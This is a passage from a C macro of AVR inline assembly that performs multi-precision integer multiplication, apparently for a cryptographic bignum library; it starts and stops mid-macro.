\n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "st z+, r24 \n\t" \ + "st z+, r22 \n\t" \ + \ + "sbiw r30, 54 \n\t" \ + "sbiw r28, 32 \n\t" \ + "sbiw r26, 22 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r21, y+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, 